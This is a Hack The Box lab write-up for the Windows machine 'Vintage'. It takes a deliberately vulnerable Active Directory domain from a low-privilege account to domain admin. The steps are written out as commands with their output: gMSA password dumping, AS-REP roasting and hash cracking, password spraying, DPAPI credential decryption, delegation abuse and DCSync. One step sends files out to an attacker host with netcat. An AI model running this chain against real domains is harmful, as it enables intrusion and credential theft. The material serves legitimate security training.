> m4rt@CTF_ARCHIVE:~$

Hack The Box / WINDOWS / 2026-03-18

Hack The Box — Vintage (Windows)

Complex AD chain using machine account abuse, gMSA password extraction, group membership abuse, AS-REP roasting, DPAPI credential decryption, constrained delegation abuse, and DCSync to domain compromise.

Target

  • IP: 10.129.167.2

Machine Information

From the machine description:

As is common in real life Windows pentests, you will start the Vintage box with credentials for the following account: P.Rosa / Rosaisbest123

Port Scan

sudo nmap -sC -sV 10.129.167.2 -p- -T5 -v
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-30 21:04:17Z)
135/tcp   open  msrpc         Microsoft Windows RPC
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49679/tcp open  msrpc         Microsoft Windows RPC
49700/tcp open  msrpc         Microsoft Windows RPC
57598/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-11-30T21:05:07
|_  start_date: N/A
|_clock-skew: 1s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Add vintage.htb to /etc/hosts.

Initial Enumeration

nxc smb vintage.htb -u P.Rosa -p Rosaisbest123 --shares
SMB         10.129.167.2    445    10.129.167.2     [*]  x64 (name:10.129.167.2) (domain:10.129.167.2) (signing:True) (SMBv1:False)
SMB         10.129.167.2    445    10.129.167.2     [-] 10.129.167.2\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED
nxc ldap vintage.htb -u P.Rosa -p Rosaisbest123
LDAP        10.129.167.2    389    dc01.vintage.htb [*]  x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP        10.129.167.2    389    dc01.vintage.htb [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED

Add dc01.vintage.htb to /etc/hosts.

Download kerbrute:

  • https://github.com/ropnop/kerbrute
./kerbrute userenum -d vintage.htb --dc 10.129.167.2 /home/kali/SecLists/Usernames/xato-net-10-million-usernames.txt -t 50
bloodhound-python -u 'P.Rosa' -p 'Rosaisbest123' -ns 10.129.167.2 -d 'vintage.htb' -dc 'dc.vintage.htb' -c All --zip

It does not work.

getTGT.py vintage.htb/P.Rosa:'Rosaisbest123' -dc-ip 10.129.167.2
[*] Saving ticket in P.Rosa.ccache
export KRB5CCNAME=P.Rosa.ccache
bloodhound-python -u 'P.Rosa' -p 'Rosaisbest123' -k -ns 10.129.167.2 -d 'vintage.htb' -dc 'dc01.vintage.htb' -c All --zip

This time it works.

sudo neo4j console
bloodhound --no-sandbox

Check SMB shares with Kerberos cache:

nxc smb dc01.vintage.htb -d vintage.htb -k --use-kcache --shares
SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\P.Rosa from ccache
SMB         dc01.vintage.htb 445    dc01             [*] Enumerated shares
SMB         dc01.vintage.htb 445    dc01             Share           Permissions     Remark
SMB         dc01.vintage.htb 445    dc01             -----           -----------     ------
SMB         dc01.vintage.htb 445    dc01             ADMIN$                          Remote Admin
SMB         dc01.vintage.htb 445    dc01             C$                              Default share
SMB         dc01.vintage.htb 445    dc01             IPC$            READ            Remote IPC
SMB         dc01.vintage.htb 445    dc01             NETLOGON        READ            Logon server share
SMB         dc01.vintage.htb 445    dc01             SYSVOL          READ            Logon server share

User and Computer Enumeration

To obtain user list:

ldapsearch -x -H ldap://10.129.167.2 -D 'P.Rosa@vintage.htb' -w 'Rosaisbest123' -b 'CN=Users,DC=vintage,DC=htb' | grep name | awk '{print $2}' > users_1.txt

Alternative:

nxc smb dc01.vintage.htb -d vintage.htb -k --use-kcache --rid-brute 5000 | grep SidTypeUser | cut -d: -f2 | cut -d \\ -f2 | cut -d' ' -f1 > users_2.txt

Note that users_1.txt and users_2.txt differ.

To obtain computers:

ldapsearch -x -H ldap://10.129.167.2 -D 'P.Rosa@vintage.htb' -w 'Rosaisbest123' -b 'CN=Computers,DC=vintage,DC=htb'

We note computer FS01.vintage.htb and:

memberOf: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=vintage,DC=htb

Target machine IP changed to:

  • 10.129.174.56

Machine Account Abuse and gMSA Password

Install pre2k:

  • https://github.com/garrettfoster13/pre2k
pre2k unauth -d vintage.htb -dc-ip 10.129.174.56 -save -inputfile users_2.txt
[16:00:56] INFO     VALID CREDENTIALS: vintage.htb\FS01$:fs01
[16:00:56] INFO     Saving ticket in FS01$.ccache
mv FS01\$.ccache FS01.ccache
export KRB5CCNAME=FS01.ccache

In BloodHound:

  • Computer FS01 is member of Domain Computers
  • Domain Computers has ReadGMSAPassword over GMSA01$

Download gMSADumper:

  • https://github.com/micahvandeusen/gMSADumper
python gMSADumper/gMSADumper.py -k -d vintage.htb -l dc01.vintage.htb

It does not work.

Download bloodyAD:

  • https://github.com/CravateRouge/bloodyAD
python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k get object 'GMSA01$' --attr msDS-ManagedPassword
distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:54311f0ed05b807a7aaf5943b595f224
msDS-ManagedPassword.B64ENCODED: c6qwf6x+EXiEYKGhCu/wTBcnp6hz3ppQG2uReaV8QV+JCaIhn2MobwBxF4Q6fd3W5P13wvh2Jf/Wp2WHsjIEjkbF0duDHoCBAK31Q+BoQg0eUHbsRcksNrkLcPtkZ5eUhK+TzgpXeFKt0VCOWFkAOStKE1H5PDfUGoC2xuP+Tceg7iV0IcMBaR8Db3UgqaqP2LLRiimuL6ZO4xl6sSRKrdRQEQOR7L9fFw9JW7myCsbj2TPxFc5WaMQtWi456OvwBQn4jhdty5tSjv2uMlcq+sQMz60voxH6sClACPGKJMCr2FNVJP6dd1GTdvh6n5Dbh/yhHCAF8UzYeGXv2Nx3Dw==
getTGT.py vintage.htb/'GMSA01$' -hashes ':54311f0ed05b807a7aaf5943b595f224' -dc-ip 10.129.174.56
[*] Saving ticket in GMSA01$.ccache
mv GMSA01\$.ccache GMSA01.ccache
export KRB5CCNAME=GMSA01.ccache

In BloodHound:

  • GMSA01$ has AddSelf to group servicemanagers
  • servicemanagers distinguished name is CN=SERVICEMANAGERS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB
python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k add groupMember 'CN=SERVICEMANAGERS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB' 'GMSA01$'
[+] GMSA01$ added to CN=SERVICEMANAGERS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB

Add P.Rosa to SERVICEMANAGERS too:

python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k add groupMember 'CN=SERVICEMANAGERS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB' 'P.Rosa'
[+] P.Rosa added to CN=SERVICEMANAGERS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB
getTGT.py vintage.htb/P.Rosa:'Rosaisbest123' -dc-ip 10.129.174.56
[*] Saving ticket in P.Rosa.ccache
export KRB5CCNAME=P.Rosa.ccache

In BloodHound, group servicemanagers has GenericAll over users svc_ark, svc_ldap, and svc_sql.

AS-REP Roasting Path

Set DONT_REQ_PREAUTH for target users:

python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k add uac SVC_ARK -f DONT_REQ_PREAUTH
python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k add uac SVC_SQL -f DONT_REQ_PREAUTH
python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k add uac SVC_LDAP -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_ARK's userAccountControl
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_SQL's userAccountControl
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_LDAP's userAccountControl

Enable SVC_SQL:

python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl

AS-REP roast users:

GetNPUsers.py -request -outputfile np.txt -format hashcat -usersfile users_2.txt vintage.htb/

Or:

GetNPUsers.py vintage.htb/ -usersfile users_2.txt -outputfile out -dc-ip 10.129.174.56 -no-pass

In np.txt there are hashes.

hashcat -a 0 ./np.txt ./rockyou.txt

Recovered:

$krb5asrep$23$svc_sql@VINTAGE.HTB:e53c5387afa3e6a96611b94179391717$6420467c7fa12ba0fb628a3c051911605ee7ec246c9ae3650188191fd3a712b57af91d93d3c3045f3f546d7c717c145edc4a7950aefe69a8a39d63cdc408519cefc389b451df6203f6b1b784582c49563c3ea6bc14b638d12c27c93dc854723dc199e88274a98a568e2114023ee5689ae05bd66b4b03e3ef265317e509ec115d3e5fd0f2ebf8177215ae1191deb749bc8852403281f0b693d97099d99629ae72baa0e06ca7374966fa882848924f10fff2e677b1437cbab2d83ff0b6c034cff7e19ad6c2c86a79184f4fc13ecef8e075b67c7434ff2d62c3eeaa810ca656ba3ef9fd68fdec6ce83e9344:Zer0the0ne

Password spray:

./kerbrute --dc dc01.vintage.htb -d vintage.htb -v passwordspray users_2.txt Zer0the0ne
2024/12/03 22:16:23 >  [+] VALID LOGIN:  svc_sql@vintage.htb:Zer0the0ne
2024/12/03 22:16:23 >  [+] VALID LOGIN:  C.Neri@vintage.htb:Zer0the0ne
getTGT.py vintage.htb/C.Neri:'Zer0the0ne' -dc-ip 10.129.174.56
[*] Saving ticket in C.Neri.ccache
export KRB5CCNAME=C.Neri.ccache

From BloodHound, C.Neri has CanPSRemote to dc01.vintage.htb, so we can use evil-winrm.

Edit krb5 config:

sudo vim /etc/krb5.conf

Under [realms], add:

        VINTAGE.HTB = {
                kdc = dc01.vintage.htb
        }
evil-winrm -i dc01.vintage.htb -r vintage.htb

We obtain a shell.

DPAPI Credential Extraction

On target host:

$Blob = Get-Content -Path "C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6" -Raw
Set-Content -Path "C:\Users\C.Neri\Documents\C4BB96844A5C9DD45D5B6A9859252BA6.blob" -Value $Blob
$master = Get-Content -Path "C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b" -Raw
Set-Content -Path "C:\Users\C.Neri\Documents\master.bin" -Value $master

We need to download those two files to attacker machine.

Attacker side:

impacket-smbserver -smb2support -username test12 -password test12 share $(pwd)

Target side:

net use \\10.10.16.15\share test12 /USER:test12

This does not work.

Upload nc64.exe to target:

  • https://github.com/int0x33/nc.exe/raw/refs/heads/master/nc64.exe

Attacker side:

nc -vlnp 4444 > C4BB96844A5C9DD45D5B6A9859252BA6.blob

Victim side:

type C4BB96844A5C9DD45D5B6A9859252BA6.blob | .\nc64.exe 10.10.16.15 4444

Then:

nc -vlnp 4444 > master.bin
type master.bin | .\nc64.exe 10.10.16.15 4444

This also does not work; received files differ from originals.

Use Base64 workaround on target:

$base64String = [System.Convert]::ToBase64String((Get-Content 'master.bin' -Encoding Byte))
$base64String

Copy output and decode on attacker:

echo '<copied_base64_string>' base64 -d > master.bin

Verify hashes:

sha256sum ./master.bin
certutil -hashfile .\master.bin SHA256

Repeat same procedure for C4BB96844A5C9DD45D5B6A9859252BA6.blob.

Extract master key using dpapi.py:

dpapi.py masterkey -file master.bin -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

Use decrypted key on credential blob:

dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6.blob -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=admin_acc
Description :
Unknown     :
Username    : vintage\c.neri_adm
Unknown     : Uncr4ck4bl3P4ssW0rd0312

We recovered password for c.neri_adm.

getTGT.py vintage.htb/c.neri_adm:'Uncr4ck4bl3P4ssW0rd0312' -dc-ip 10.129.174.56
[*] Saving ticket in c.neri_adm.ccache
export KRB5CCNAME=c.neri_adm.ccache

Return to C.Neri shell.

Final AD Abuse and Domain Compromise

Enable-ADAccount -Identity svc_sql
Set-ADUser -Identity svc_sql -Add @{servicePrincipalName="cifs/x"}

From BloodHound, c.neri_adm has AddSelf over delegatedadmins.

python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k add groupMember "delegatedadmins" "svc_sql"
[+] svc_sql added to delegatedadmins
getTGT.py vintage.htb/svc_sql:'Zer0the0ne' -dc-ip 10.129.174.56
[*] Saving ticket in svc_sql.ccache
export KRB5CCNAME=svc_sql.ccache
getST.py -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.129.174.56 -k 'vintage.htb/svc_sql:Zer0the0ne'
[*] Saving ticket in L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache

From BloodHound, L.BIANCHI_ADM has DCSync over vintage.htb.

secretsdump.py -k dc01.vintage.htb
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:468c7497513f8243b59980f2240a10de:::
getTGT.py vintage.htb/'Administrator' -hashes ':468c7497513f8243b59980f2240a10de' -dc-ip 10.129.174.56
[*] Saving ticket in Administrator.ccache
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass vintage.htb/Administrator@dc01.vintage.htb

This does not work.

L.BIANCHI_ADM is member of Domain Admins.

export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
wmiexec.py -k -no-pass vintage.htb/L.Bianchi_adm@dc01.vintage.htb
cd \Users\Administrator\Desktop
type root.txt